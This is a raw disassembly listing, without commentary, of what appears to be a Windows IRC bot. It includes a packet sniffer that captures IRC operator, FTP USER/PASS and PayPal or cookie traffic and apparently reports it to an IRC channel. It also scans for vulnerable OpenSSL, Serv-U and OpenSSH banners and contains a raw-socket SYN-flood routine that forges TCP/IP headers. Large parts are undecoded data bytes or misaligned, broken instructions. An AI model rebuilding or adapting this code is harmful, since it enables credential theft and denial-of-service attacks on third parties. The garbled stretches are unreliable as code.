push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129C0
push offset a_login ; ":.Login"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129C0
push offset a_ident ; ":.ident"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129C0
push offset aIdent ; ":!ident"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_4129C0
push offset a_hashin ; ":.hashin"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_4129C0
push offset aHashin ; ":!hashin"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
; =============== S U B R O U T I N E =======================================
sub_412A79 proc near ; CODE XREF: .nsp0:00412F5Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412A93
loc_412A8F: ; CODE XREF: sub_412A79+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412A93: ; CODE XREF: sub_412A79+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412A8F
push offset aOper_0 ; "OPER "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412AB9
loc_412AB5: ; CODE XREF: sub_412A79+4Fj
; sub_412A79+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412AB9: ; CODE XREF: sub_412A79+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412AB5
push offset aOper ; "oper "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412AB5
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412A79 endp
; =============== S U B R O U T I N E =======================================
sub_412AEF proc near ; CODE XREF: .nsp0:00412F90p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412B09
loc_412B05: ; CODE XREF: sub_412AEF+29j
; sub_412AEF+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412B09: ; CODE XREF: sub_412AEF+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B05
push offset aNick_1 ; "NICK "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B05
push offset a220 ; "220 "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412B40
loc_412B3C: ; CODE XREF: sub_412AEF+60j
; sub_412AEF+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412B40: ; CODE XREF: sub_412AEF+4Bj
push offset a230 ; "230 "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B3C
push offset aUser_3 ; "USER "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B3C
push offset aPass_1 ; "PASS "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412AEF endp
; =============== S U B R O U T I N E =======================================
sub_412B76 proc near ; CODE XREF: .nsp0:00412FC1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412B90
loc_412B8C: ; CODE XREF: sub_412B76+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412B90: ; CODE XREF: sub_412B76+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412B8C
push offset aPaypal ; "paypal"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412BB6
loc_412BB2: ; CODE XREF: sub_412B76+4Fj
; sub_412B76+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412BB6: ; CODE XREF: sub_412B76+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412BB2
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412BB2
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412BB2
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412B76 endp
; =============== S U B R O U T I N E =======================================
sub_412BFD proc near ; CODE XREF: .nsp0:loc_413027p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412C17
loc_412C13: ; CODE XREF: sub_412BFD+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412C17: ; CODE XREF: sub_412BFD+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C13
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_412C3D
loc_412C39: ; CODE XREF: sub_412BFD+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412C3D: ; CODE XREF: sub_412BFD+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C39
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412BFD endp
; ---------------------------------------------------------------------------
loc_412C62: ; DATA XREF: .nsp0:00405D5Bo
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C1D0
mov eax, [ebp+8]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp-0B8h]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp-3B7h]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp-3B8h], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp-3B8h]
mov word ptr [ebp-20h], 2
push eax
mov [ebp-1Eh], bx
mov [ebp-1Ch], ebx
call dword_4D1204 ; gethostname
lea eax, [ebp-3B8h]
push eax
call dword_4D1274 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp-8]
push eax
call near ptr sub_41C9B0
mov eax, [ebp-8]
add esp, 0Ch
mov [ebp-1Ch], eax
push ebx
push 3
push 2
call dword_4D1270 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-10h], edi
jnz short loc_412D08
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412D08: ; CODE XREF: .nsp0:00412CFDj
lea eax, [ebp-20h]
push 10h
push eax
push edi
call dword_4D121C ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412D7E
call dword_4D1184 ; WSAGetLastError
push eax
lea eax, [ebp-2B8h]
push offset unk_43DD88
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-2Ch], ebx
jnz short loc_412D5A
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_4099D2
add esp, 14h
loc_412D5A: ; CODE XREF: .nsp0:00412D38j
lea eax, [ebp-2B8h]
push eax
call sub_4157A6
pop ecx
push edi
call dword_4D1288 ; closesocket
push dword ptr [ebp-34h]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
push esi
loc_412D7E: ; CODE XREF: .nsp0:00412D18j
push ebx
lea eax, [ebp-24h]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push 98000001h
push edi
mov [ebp-0Ch], esi
call dword_4D119C ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_412E03+1
call dword_4D1184 ; WSAGetLastError
push eax
lea eax, [ebp-2B8h]
push offset unk_43DD58
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-2Ch], ebx
jnz short loc_412DE0
push ebx
lea eax, [ebp-2B8h] ; CODE XREF: .nsp0:loc_412E03j
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_4099D2
add esp, 14h
loc_412DE0: ; CODE XREF: .nsp0:00412DBEj
lea eax, [ebp-2B8h]
push eax
call sub_4157A6
pop ecx
push edi
call dword_4D1288 ; closesocket
push dword ptr [ebp-34h]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
loc_412E03: ; CODE XREF: .nsp0:00412D9Ej
js short near ptr loc_412DC1+2
add [edx], al
; ---------------------------------------------------------------------------
db 0
dd 0FFFFBF00h, 858D0000h, 0FFFEEC48h, 0E8505357h, 8E24h
; CODE XREF: .nsp0:00412FFCj
; .nsp0:00413022j ...
dd 8D0CC483h, 0FEEC4885h, 505753FFh, 0FFF075FFh, 4D120815h
dd 51BD8000h, 6FFFEECh, 0B5FFCF75h, 0FFFEEC5Ch, 71E43D8Bh
dd 0D7FF0042h, 0EC5EB5FFh, 0B70FFFFEh, 84589C0h, 7D83D7FFh
dd 0B70F6E08h, 83AA74F8h, 7419087Dh, 6EFF83A4h, 0FF839F74h
dd 0FF9A7419h, 0FEEC54B5h, 0FAD9E8FFh, 0FF59FFFFh, 0E815FF30h
dd 50004271h, 0EC48858Dh, 8C68FFFFh, 50004335h, 90A1E8h
dd 58B5FF00h, 0E8FFFEECh, 0FFFFFAB3h, 0FF10C483h, 0E815FF30h
dd 50004271h, 0F448858Dh, 8C68FFFFh, 50004335h, 9079E8h
dd 74858D00h, 89FFFEECh, 0E850FC5Dh, 89C4h, 8510C483h
dd 8B347EC0h, 0BC80FC45h, 0FEEC7405h, 848D0DFFh, 0FEEC7405h
dd 0C60375FFh, 38802000h, 0C603750Ah, 45FF2000h, 74858DFCh
dd 50FFFEECh, 898FE8h, 0FC453900h, 83CC7C59h, 0F50087Dh
dd 0A984h, 50FF8300h, 0A0840Fh, 858D0000h, 0FFFEEC74h
dd 0FA3CE850h, 0C084FFFFh, 8D237459h, 0FEEC7485h, 858D50FFh
dd 0FFFFF448h, 75FF5057h, 48858D08h, 50FFFFECh, 43DD2468h
dd 9BE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_412F4E: ; DATA XREF: .nsp0:off_44241Co
cmp edi, 50h
jz short loc_412FBA
lea eax, [ebp-1138Ch]
push eax
call sub_412A79
test al, al
pop ecx
jz short loc_412F84
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push edi
push eax
push dword ptr [ebp+8]
lea eax, [ebp-13B8h]
push eax
push offset unk_43DCF0
jmp short loc_412FE9
; ---------------------------------------------------------------------------
loc_412F84: ; CODE XREF: .nsp0:00412F62j
cmp edi, 50h
jz short loc_412FBA
lea eax, [ebp-1138Ch]
push eax
call sub_412AEF
test al, al
pop ecx
jz short loc_412FBA
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push edi
push eax
push dword ptr [ebp+8]
lea eax, [ebp-13B8h]
push eax
push offset unk_43DCBC
jmp short loc_412FE9
; ---------------------------------------------------------------------------
loc_412FBA: ; CODE XREF: .nsp0:00412F51j
; .nsp0:00412F87j ...
lea eax, [ebp-1138Ch]
push eax
call sub_412B76
test al, al
pop ecx
lea eax, [ebp-1138Ch]
push eax
jz short loc_413027
lea eax, [ebp-0BB8h]
push edi
push eax
lea eax, [ebp-13B8h]
push dword ptr [ebp+8]
push eax
push offset unk_43DC84
loc_412FE9: ; CODE XREF: .nsp0:00412F82j
; .nsp0:00412FB8j ...
lea eax, [ebp-2B8h]
push esi
push eax
call sub_41C030
add esp, 20h
cmp [ebp-2Ch], ebx
jnz near ptr dword_412E08+1
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_4099D2
add esp, 14h
jmp near ptr dword_412E08+1
; ---------------------------------------------------------------------------
loc_413027: ; CODE XREF: .nsp0:00412FD0j
call sub_412BFD
test al, al
pop ecx
jz near ptr dword_412E08+1
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push edi
push eax
push dword ptr [ebp+8]
lea eax, [ebp-13B8h]
push eax
push offset unk_43DC4C
jmp short loc_412FE9
; ---------------------------------------------------------------------------
byte_413055 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00407F99o
dd 494EC81h, 458B0000h, 0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch
dd 80C7A5F3h, 290h, 1, 70A815FFh, 0E8500042h, 8F00h, 0FE74858Dh
dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h
dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 43DDB468h
dd 7BE85000h, 3300008Eh, 20C483F6h, 75F87539h, 858D5620h
dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h
dd 68F0E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh, 26B5E8h
dd 70B5FF00h, 0E8FFFFFDh, 0FFFF822Eh, 0E8565959h, 72CEFCh
; ---------------------------------------------------------------------------
cli
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413107 proc near ; CODE XREF: .nsp0:0041347Ep
var_17AF1BBC = dword ptr -17AF1BBCh
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4D1160 ; WSAStartup
test eax, eax
jz short loc_413147
xor eax, eax
jmp loc_41343A
; ---------------------------------------------------------------------------
loc_413147: ; CODE XREF: sub_413107+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4D1294 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_413432
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4D11D0 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_413428
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4D11F0 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4D11F0 ; ntohs
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4D11F0 ; ntohs
mov [ebp+var_12], ax
call sub_41BF92
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4D11F0 ; ntohs
push 12345678h
mov [ebp+var_14], ax
call dword_4D11EC ; ntohl
push offset dword_43DE10
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_413217
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_41326B
; ---------------------------------------------------------------------------
loc_413217: ; CODE XREF: sub_413107+105j
push offset dword_43DE04
push [ebp+arg_8]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_413233
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_41326B
; ---------------------------------------------------------------------------
loc_413233: ; CODE XREF: sub_413107+121j
push offset dword_43DDF8
push [ebp+arg_8]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_41326B
call sub_41BF92
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41BF92
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_41326B: ; CODE XREF: sub_413107+10Ej
; sub_413107+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4D11F0 ; ntohs
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call near ptr 0B40000h
or [ebp+var_17AF1BBC+1], ecx
push 0E60072CDh
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D950
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_4132B9: ; CODE XREF: sub_413107+2E2j
; sub_413107+2F0j
mov [ebp+var_4], bx
call sub_41BF92
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4D11F0 ; ntohs
mov [ebp+var_14], ax
call sub_41BF92
mov edi, eax
shl edi, 10h
call sub_41BF92
or edi, eax
push edi
call dword_4D11F0 ; ntohs
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4D11EC ; ntohl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4D11F0 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40ABC3
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C9B0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BC40
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40ABC3
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4D1254 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4133FC
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call near ptr 0B40000h
pop ecx
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_413425
jl loc_4132B9
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_413425
jmp loc_4132B9
; ---------------------------------------------------------------------------
loc_4133FC: ; CODE XREF: sub_413107+2CBj
call dword_4D1184 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_43DDDC
push eax
call sub_41BF36
lea eax, [ebp+var_F4]
push eax
call sub_4157A6
add esp, 10h
jmp short loc_413428
; ---------------------------------------------------------------------------
loc_413425: ; CODE XREF: sub_413107+2E0j
; sub_413107+2EEj
mov ebx, [ebp+arg_8]
loc_413428: ; CODE XREF: sub_413107+78j
; sub_413107+31Cj
push [ebp+var_20]
call dword_4D1288 ; closesocket
pop esi
loc_413432: ; CODE XREF: sub_413107+5Bj
call dword_4D1148 ; WSACleanup
mov eax, ebx
loc_41343A: ; CODE XREF: sub_413107+3Bj
pop edi
pop ebx
leave
retn
sub_413107 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AA54
push dword ptr [esp+18h]
mov esi, eax
call sub_41BE29
push dword ptr [esp+24h]
mov ebx, eax
call sub_41BE29
mov edi, eax
call sub_41BF92
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413107
add esp, 20h
test eax, eax
jnz short loc_41348D
push 1
pop eax
loc_41348D: ; CODE XREF: .nsp0:00413488j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_41349C dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h
; DATA XREF: .nsp0:00408172o
dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h
dd 19C9889h, 15FF0000h, 4D1270h, 89FFF883h, 5F75FC45h
dd 118415FFh, 8D50004Dh, 0FFFC4485h, 0DF0068FFh, 0E8500043h
dd 8A46h, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h
dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0BBE8FFFFh
dd 83FFFF64h, 858D14C4h, 0FFFFFC44h, 2280E850h, 75FF0000h
dd 7DFCE8C8h, 5959FFFFh, 0CACAE857h, 8DB20072h, 46AF44Dh
dd 6AFF3351h, 89505702h, 15FFF45Dh, 4D11D0h, 75FFF883h
dd 8415FF5Dh, 50004D11h, 0FC44858Dh, 0D068FFFFh, 500043DEh
dd 89CDE8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h
dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6444E8FFh
dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h
dd 0FF7D85E8h, 575959FFh, 72CA53E8h, 858D1A00h, 0FFFFFE48h
dd 3015FF50h, 83004D12h, 5575FFF8h, 0FC44858Dh, 0B068FFFFh
dd 500043DEh, 8965E8h, 0DC7D3900h, 20755959h, 44858D57h
dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
dd 0FF63DDE8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h
dd 0E8C875FFh, 0FFFF7D1Eh, 0E8575959h, 72C9ECh, 8D106A82h
dd 5057E445h, 861FE8h, 0CC48300h, 0E445C766h, 0FF570002h
dd 4D11F015h, 45896600h, 48858DE6h, 50FFFFFEh, 123015FFh
dd 358B004Dh, 4270A8h, 89E84589h, 0D6FF087Dh, 0FFF84589h
dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh
dd 1C680000h, 0C6000004h, 4D3F6805h, 15FF4500h, 4D11F0h
dd 66D47D39h, 4D3F6AA3h, 1D896600h, 4D3F6Ch, 6E3D8966h
dd 0C6004D3Fh, 4D3F7005h, 1D888000h, 4D3F71h, 723D8966h
dd 74004D3Fh, 88E4E830h, 0D88B0000h, 0E808E3C1h, 88DAh
dd 0E3C1D803h, 88D0E808h, 0D8030000h, 0E808E3C1h, 88C6h
dd 16AD803h, 3F741D89h, 0EB5B004Dh, 44B5FF18h, 0E8FFFFFEh
dd 0FFFF7486h, 15FF5059h, 4D1230h, 4D3F74A3h, 0E8458B00h
dd 4D3F78A3h, 8894E800h, 0B9990000h, 100h, 1588F9F7h, 4D3F7Ch
dd 8881E8h, 0B99900h, 0F7000001h, 7D1588F9h, 0E8004D3Fh
dd 886Eh, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4D3F7Eh
dd 821D8966h, 42004D3Fh, 80158966h, 0E8004D3Fh, 8846h
dd 0FFB999h, 0F9F70000h, 3F846852h, 0E1E8004Dh, 83000084h
dd 458D0CC4h, 50106AE4h, 41C6857h, 68680000h, 0FF004D3Fh
dd 15FFFC75h, 4D1254h, 74FFF883h, 845FF08h, 0FFFECAE9h
dd 0FC75FFFFh, 128815FFh, 15FF004Dh, 4D1184h, 48858D50h
dd 0FFFFFFFEh, 68500875h, 43DE68h, 0FC44858Dh, 68FFFFh
dd 50000002h, 8877E8h, 18C48300h, 75DC7D39h, 858D5720h
dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
dd 61F4E8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh, 1FB9E8h
dd 0C875FF00h, 0FF7B35E8h, 575959FFh, 72C803E8h, 75FF7600h
dd 8815FFFCh, 8B004D12h, 0D2330845h, 8B3CC06Bh, 0AE8C1C8h
dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h
dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 43DE1Ch, 86F8E850h
dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 6FE8FFFFh, 83FFFF61h
dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h, 7AB0E8C8h
dd 5959FFFFh, 0C77EE857h
db 72h, 0, 7
byte_413883 db 55h ; DATA XREF: .nsp0:00406F69o
dd 20B8EC8Bh, 0E8000103h, 8940h, 5308458Bh, 496A5756h
dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h
dd 117815FFh, 4589004Dh, 40858D08h, 50FFFFFFh, 123015FFh
dd 0F08B004Dh, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh
dd 127415FFh, 0C33B004Dh, 7D830674h, 5D75FF08h, 0FF40858Dh
dd 8D50FFFFh, 0FFFCBC85h, 0DF5868FFh, 0E8500043h, 863Ah
dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h
dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF60B1E8h, 14C483FFh
dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF79F2h
dd 0E8575959h, 72C6C0h, 74C33BB3h, 0C408B0Ch, 8B008Bh
dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 82E0h
dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h
dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h
dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h
dd 815FF08h, 46004D11h, 7CC0753Bh, 875FFDAh, 12A815FFh
dd 858D004Dh, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 43DF2Ch
dd 856CE850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h
dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 0E3E8FFFFh
dd 83FFFF5Fh, 858D14C4h, 0FFFFFCBCh, 1DA8E850h, 75FF0000h
dd 7924E8D0h, 5959FFFFh, 0C5F2E853h
db 72h, 0, 80h
byte_413A0F db 55h ; DATA XREF: .nsp0:004071B2o
dd 10B8EC8Bh, 0E8000103h, 87B4h, 5308458Bh, 496A5756h
dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h
dd 70A815FFh, 0E8500042h, 8544h, 6A116A59h, 0FF026A02h
dd 4D127015h, 33D88B00h, 8D106AFFh, 5057F045h, 81DFE8h
dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 3015FF50h
dd 83004D12h, 4589FFF8h, 8D757508h, 0FFFF5085h, 15FF50FFh
dd 4D1274h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h
dd 0DFAC68FFh, 0E8500043h, 848Eh, 390CC483h, 2075E87Dh
dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh
dd 0FFFFFECCh, 0FF5F05E8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh
